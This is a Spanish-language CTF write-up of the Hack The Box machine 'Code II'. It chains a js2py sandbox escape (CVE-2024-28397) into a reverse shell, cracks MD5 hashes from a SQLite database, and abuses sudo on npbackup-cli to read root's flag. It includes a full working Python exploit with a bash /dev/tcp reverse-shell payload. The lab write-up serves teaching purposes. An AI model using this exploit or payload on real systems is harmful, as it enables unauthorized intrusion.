> For the complete documentation index, see [llms.txt](https://redops.gitbook.io/redops/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://redops.gitbook.io/redops/writeups-challenges/code-ii.md).

# Code II

{% hint style="info" %}
El objetivo del **writeup** es presentar de manera clara el **razonamiento**, acompañado de la **evidencia** necesaria.
{% endhint %}

### Resumen ejecutivo

* **Servicios expuestos:** SSH (22) + aplicación web (8000) sobre Gunicorn.
* **Acceso inicial:** RCE explotando `js2py` (CVE-2024-28397) vía `POST /run_code` → shell como `app`.
* **Transición de credenciales:** extracción de hashes desde `users.db` → acceso por SSH como `marco`.
* **Escalada de privilegios:** `sudo` NOPASSWD sobre `npbackup-cli` + configuración controlable → lectura de `root.txt`.

### Reconocimiento

Priorizo el servicio donde parte el desarrollo de la aplicación web, ya que representa el canal más propenso a la aparición de **fallas lógicas y vulnerabilidades** de *ejecución remota de código* **(RCE)**.

{% code title="Escaneo" overflow="wrap" lineNumbers="true" fullWidth="false" %}

```bash
┌──(Redops㉿codigodigital)-[~]
└─# nmap -sV -sC -A -p 22,8000 10.10.11.82 -v
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-04 18:56 -0500
Scanning 10.10.11.82 [2 ports]
Discovered open port 22/tcp on 10.10.11.82
Discovered open port 8000/tcp on 10.10.11.82
Host is up (0.33s latency).
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% endcode %}

Mantengo un nombre de host consistente para garantizar la estabilidad en el funcionamiento del servicio.

{% code overflow="wrap" lineNumbers="true" %}

```bash
echo -n '10.10.11.82 codeparttwo.htb' | sudo tee -a /etc/hosts
```

{% endcode %}

Acceso mediante Firefox al servicio para su análisis.

{% code lineNumbers="true" %}

```bash
firefox http://codeparttwo.htb:8000 --no-sandbox
```

{% endcode %}

#### Qué busco

Me interesan superficies típicas de abuso:

* Endpoints que ejecuten procesos del lado servidor.
* Descarga de fuentes, backups o artefactos internos.
* Logs expuestos, debug, o rutas “administrativas”.

<figure><img src="https://1592296697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvFuY8daTxQ6qGDgQog0b%2Fuploads%2FIQzFoSsOs8D1Dh6puCR8%2Fimage.png?alt=media&amp;token=8f7f0eb0-9654-4c58-92a7-df68a41b7c92" alt=""><figcaption><p>Interfaz inicial. Funcionalidades visibles: login, register y download.</p></figcaption></figure>

En el puerto 8000 hay una app web con login/registro y descarga. El botón **download** devuelve el código fuente como `app.zip` vía `GET /download`.

{% code title="unzip app.zip" overflow="wrap" %}

```bash
┌──(Redops㉿codigodigital)-[~/Downloads]
└─# unzip app.zip                
Archive:  app.zip
   creating: app/
   creating: app/static/
   creating: app/static/css/
  inflating: app/static/css/styles.css  
   creating: app/static/js/
  inflating: app/static/js/script.js  
  inflating: app/app.py              
   creating: app/templates/
  inflating: app/templates/dashboard.html  
  inflating: app/templates/reviews.html  
  inflating: app/templates/index.html  
  inflating: app/templates/base.html  
  inflating: app/templates/register.html  
  inflating: app/templates/login.html  
  inflating: app/requirements.txt    
   creating: app/instance/
  inflating: app/instance/users.db   
```

{% endcode %}

Enfoque white-box para identificar rápido hallazgos accionables. Busco ejecución, carga de archivos, deserialización, templates, secretos hardcodeados, y almacenamiento local (SQLite, backups, etc).

{% hint style="info" %}
Cuando una app te regala su fuente, tu mejor ROI es pasar a **white-box**. Buscás: RCE, rutas internas, secretos, y storage local.
{% endhint %}

En `app.py` se observa el uso de `js2py.disable_pyimport()` (motor JS embebido), la exposición de `app.secret_key` y una base de datos local `sqlite:///users.db` gestionada con SQLAlchemy.

{% code title="app.py (fragmento)" overflow="wrap" %}

```py
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# cat app.py 
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
```

{% endcode %}

{% hint style="danger" %}
Si la app ejecuta JavaScript del lado del servidor, `js2py` es un vector obvio. Y la presencia de `users.db` en `instance/` apunta a recuperación de credenciales.
{% endhint %}

### Acceso inicial — RCE en js2py (CVE-2024-28397)

El backend utiliza `js2py` para ejecutar JavaScript.

En `js2py <= 0.74` aplica CVE-2024-28397 (escape de sandbox). Eso habilita ejecución de comandos desde `POST /run_code`.

<details>

<summary>Exploit PoC (Python) que usé</summary>

{% code title="Remote Code Execution - CVE 2024-28397" overflow="wrap" lineNumbers="true" %}

```py
┌──(Redops㉿codigodigital)-[~/Desktop/HTB-BOX/codepartwo]
#!/usr/bin/env python3
"""
CVE-2024-28397 - js2py Sandbox Escape Exploit
Exploits js2py <= 0.74 vulnerability to achieve remote code execution
"""

import requests
import json
import base64
import sys
import argparse

def generate_payload(target_ip, target_port):
    """
    Generate the JavaScript payload that exploits CVE-2024-28397
    
    Args:
        target_ip (str): Attacker's IP address for reverse shell
        target_port (str): Port for reverse shell connection
    
    Returns:
        str: JavaScript exploit payload
    """
    # Create bash reverse shell command
    reverse_shell = f"(bash >& /dev/tcp/{target_ip}/{target_port} 0>&1) &"
    # Base64 encode the reverse shell to avoid special character issues
    encoded_shell = base64.b64encode(reverse_shell.encode()).decode()
    
    # JavaScript payload exploiting CVE-2024-28397
    # This payload uses Python object introspection to escape the js2py sandbox
    js_code = f'''
let cmd = "printf '{encoded_shell}'|base64 -d|bash";
// Access Python's object hierarchy through JavaScript
let a = Object.getOwnPropertyNames({{}}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Function to find subprocess.Popen class in Python's object hierarchy
function findpopen(o) {{
    let result;
    // Iterate through all subclasses of the object
    for(let i in o.__subclasses__()) {{
        let item = o.__subclasses__()[i];
        // Look specifically for subprocess.Popen class
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {{
            return item;
        }}
        // Recursively search in subclasses
        if(item.__name__ != "type" && (result = findpopen(item))) {{
            return result;
        }}
    }}
}}

// Execute the command using subprocess.Popen
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(result);
result;
'''
    return js_code, reverse_shell, encoded_shell

def exploit_target(target_url, payload):
    """
    Send the exploit payload to the target
    
    Args:
        target_url (str): Target URL endpoint
        payload (str): JavaScript payload to execute
    
    Returns:
        tuple: (success, response_text)
    """
    # Prepare HTTP request
    request_payload = {"code": payload}
    headers = {"Content-Type": "application/json"}
    
    try:
        # Send POST request with the malicious JavaScript code
        response = requests.post(target_url, data=json.dumps(request_payload), headers=headers, timeout=10)
        return True, response.text
    except requests.exceptions.Timeout:
        # Timeout often indicates successful shell connection
        return True, "Connection timeout - shell may have been established"
    except Exception as e:
        return False, str(e)

def main():
    """Main exploit function"""
    
    parser = argparse.ArgumentParser(description='CVE-2024-28397 js2py Exploit')
    parser.add_argument('--target', required=True, help='Target URL (e.g., http://10.10.11.82:8000/run_code)')
    parser.add_argument('--lhost', required=True, help='Local IP address for reverse shell')
    parser.add_argument('--lport', default='4444', help='Local port for reverse shell (default: 4444)')
    
    args = parser.parse_args()
    
    # Validate arguments
    if not args.target.startswith('http'):
        print("[!] Error: Target URL must start with http:// or https://")
        sys.exit(1)
    
    print("=" * 60)
    print("CVE-2024-28397 - js2py Sandbox Escape Exploit")
    print("Targets js2py <= 0.74")
    print("=" * 60)
    print()
    
    # Generate exploit payload
    print("[*] Generating exploit payload...")
    js_payload, shell_command, encoded_shell = generate_payload(args.lhost, args.lport)
    
    print(f"[+] Target URL: {args.target}")
    print(f"[+] Reverse shell: {shell_command}")
    print(f"[+] Base64 encoded: {encoded_shell}")
    print(f"[+] Listening address: {args.lhost}:{args.lport}")
    print()
    print("[!] Start your listener: nc -lnvp", args.lport)
    print()
    
    # Wait for user confirmation
    input("[*] Press Enter when your listener is ready...")
    
    # Execute exploit
    print("[*] Sending exploit payload...")
    success, response = exploit_target(args.target, js_payload)
    
    if success:
        print(f"[+] Payload sent successfully!")
        print(f"[+] Response: {response}")
        print("[+] Check your netcat listener for the reverse shell!")
    else:
        print(f"[!] Exploit failed: {response}")
        print("[!] Make sure the target is vulnerable to CVE-2024-28397")

if __name__ == "__main__":
    main()
```

{% endcode %}

</details>

Ejecuto el RCE para obtener una reverse shell.

{% code overflow="wrap" lineNumbers="true" %}

```bash
┌──(Redops㉿codigodigital)-[~/Desktop/HTB-BOX/codepartwo]
└─# python3 exploit.py --target http://codeparttwo.htb:8000/run_code --lhost 10.10.17.60 --lport 4444
============================================================
CVE-2024-28397 - js2py Sandbox Escape Exploit
Targets js2py <= 0.74
============================================================

[*] Generating exploit payload...
[+] Target URL: http://codeparttwo.htb:8000/run_code
[+] Reverse shell: (bash >& /dev/tcp/10.10.17.60/4444 0>&1) &
[+] Base64 encoded: KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTcuNjAvNDQ0NCAwPiYxKSAm
[+] Listening address: 10.10.17.60:4444

[!] Start your listener: nc -lnvp 4444

[*] Press Enter when your listener is ready...
[*] Sending exploit payload...
[+] Payload sent successfully!
[+] Check your netcat listener for the reverse shell!
```

{% endcode %}

En otra ventana levanto el listener para recibir la sesión.

{% code overflow="wrap" lineNumbers="true" %}

```bash
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# nc -lnvp 4444  
listening on [any] 4444 ...
connect to [10.10.17.60] from (UNKNOWN) [10.10.11.82] 56294
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# whoami
app
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# id
uid=1001(app) gid=1001(app) groups=1001(app)
```

{% endcode %}

Con sesión como `app`, enumero artefactos locales que permitan pivotear a otro usuario.

{% code overflow="wrap" lineNumbers="true" %}

```bash
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# cd instance	
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# ls
users.db
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# sqlite3 users.db
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# .tables
code_snippet  user        
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
```

{% endcode %}

### Migración de credenciales — SQLite → SSH

Las contraseñas están hasheadas. Por formato parecen **MD5** (32 hex). Las crackeo para obtener texto plano.

<figure><img src="https://1592296697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvFuY8daTxQ6qGDgQog0b%2Fuploads%2F5NPh6EzzuxKYxqRRWoyU%2Fimage.png?alt=media&amp;token=8ea6967c-399c-45f1-8509-d174aa65ae20" alt=""><figcaption><p>Identificación del hash. Formato consistente con MD5 (32 hex).</p></figcaption></figure>

<figure><img src="https://1592296697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvFuY8daTxQ6qGDgQog0b%2Fuploads%2F3KqS1txFT3yqSdxGRhTS%2Fimage.png?alt=media&amp;token=6289f277-f82a-4a5e-bb05-87944e6c7a2b" alt=""><figcaption><p>Crackeo del hash y obtención de credencial usable para SSH.</p></figcaption></figure>

Con la credencial crackeada, entro por SSH como `marco`.

{% code overflow="wrap" lineNumbers="true" fullWidth="false" %}

```bash
┌──(Redops㉿codigodigital)-[~/Downloads/app]
└─# ssh marco@codeparttwo.htb
marco@codeparttwo.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

Last login: Mon Jan 5 01:28:57 2026 from 10.10.17.60
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
```

{% endcode %}

### Escalada de privilegios — abuso de sudo en npbackup-cli

{% code overflow="wrap" lineNumbers="true" %}

```bash
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
```

{% endcode %}

{% hint style="info" %}
El comando `sudo -l` indica que es posible ejecutar `/usr/local/bin/npbackup-cli` con privilegios de root sin requerir contraseña.

Esta herramienta admite la opción <kbd>-c \<config></kbd>.

Si se tiene control sobre el archivo de configuración, es factible incluir en la copia de seguridad de rutas con información sensible.

Posteriormente, con la opción `--dump`, se puede leer el contenido directamente desde el snapshot generado.
{% endhint %}

#### Preparación (configuración controlable)

Copio la configuración original a una ruta writable y la edito.

{% code overflow="wrap" lineNumbers="true" %}

```bash
marco@codeparttwo:~$ ls -la
total 44
...<SNIP>...
-rw-rw-r-- 1 root  root  2893 Jun 18  2025 npbackup.conf
-rw-r--r-- 1 marco marco  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root  root     9 Oct 26  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root  root     9 Oct 31  2024 .sqlite_history -> /dev/null
drwx------ 2 marco marco 4096 Oct 20  2024 .ssh
-rw-r----- 1 root  marco   33 Jan  2 19:12 user.txt
marco@codeparttwo:~$ cat npbackup.conf
...<SNIP>...
```

{% endcode %}

Creo un archivo `/tmp/privesc.conf` basado en esa config. Solo cambio lo relevante: el path a respaldar.

{% code overflow="wrap" lineNumbers="true" %}

```bash
marco@codeparttwo:~$ cp npbackup.conf /tmp/privesc.conf
marco@codeparttwo:~$ nano /tmp/privesc.conf
```

{% endcode %}

{% hint style="success" %}
La idea es simple: apunto `backup_opts.paths` a `/root/root.txt`, genero un snapshot y uso `--dump` para recuperar el contenido.
{% endhint %}

Configuración final.

{% code title="privesc.conf" overflow="wrap" lineNumbers="true" %}

```yaml
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /root/root.txt
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}
```

{% endcode %}

#### Ejecución de respaldo y volcado de datos

{% code overflow="wrap" lineNumbers="true" %}

```bash
marco@codeparttwo:/tmp$ sudo /usr/local/bin/npbackup-cli -c /tmp/privesc.conf --backup
2026-01-05 01:47:14,957 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-05 01:47:14,995 :: INFO :: Loaded config 605CC4F5 in /tmp/privesc.conf
2026-01-05 01:47:15,011 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2026-01-05 01:47:17,570 :: INFO :: Snapshots listed successfully
2026-01-05 01:47:17,572 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2026-01-05 01:47:17,572 :: INFO :: Runner took 2.561053 seconds for has_recent_snapshot
2026-01-05 01:47:17,572 :: INFO :: Running backup of ['/root/root.txt'] to repo default
2026-01-05 01:47:18,963 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2026-01-05 01:47:18,964 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2026-01-05 01:47:18,965 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2026-01-05 01:47:18,965 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2026-01-05 01:47:18,965 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:           1 new,     0 changed,     0 unmodified
Dirs:            1 new,     0 changed,     0 unmodified
Added to the repository: 737 B (696 B stored)

processed 1 files, 33 B in 0:00
snapshot 014ab2b4 saved
2026-01-05 01:47:20,217 :: INFO :: Backend finished with success
2026-01-05 01:47:20,220 :: INFO :: Processed 0.0322265625 KiB of data
2026-01-05 01:47:20,220 :: ERROR :: Backup is smaller than configured minmium backup size
2026-01-05 01:47:20,220 :: ERROR :: Operation finished with failure
2026-01-05 01:47:20,220 :: INFO :: Runner took 5.21084 seconds for backup
2026-01-05 01:47:20,220 :: INFO :: Operation finished
```

{% endcode %}

Con el snapshot-id generado, realizo el volcado del archivo desde el repositorio.

{% code overflow="wrap" lineNumbers="true" %}

```bash
marco@codeparttwo:/tmp$ sudo /usr/local/bin/npbackup-cli -c /tmp/privesc.conf --dump /root/root.txt --snapshot-id 014ab2b4
fe9a6d2f96466b5285a8aec464c1c3ce
```

{% endcode %}

### Conclusión

El compromiso total no se debió a un “0-day” extraordinario. Fue una cadena de decisiones de diseño que se alinearon mal.

* La app ejecutaba código dinámico en el servidor.
* Además permitía descargar su fuente (`/download`). Eso acelera el descubrimiento.
* El storage local (`users.db`) expuso credenciales reutilizables.
* El factor decisivo fue `sudo` sin contraseña sobre una herramienta legítima.

La posibilidad de apuntar a una configuración controlada transformó una función administrativa en una primitiva de lectura como root.

Con un solo control bien puesto (mínimo privilegio en sudo o validación estricta de configs/rutas), la cadena se cortaba.
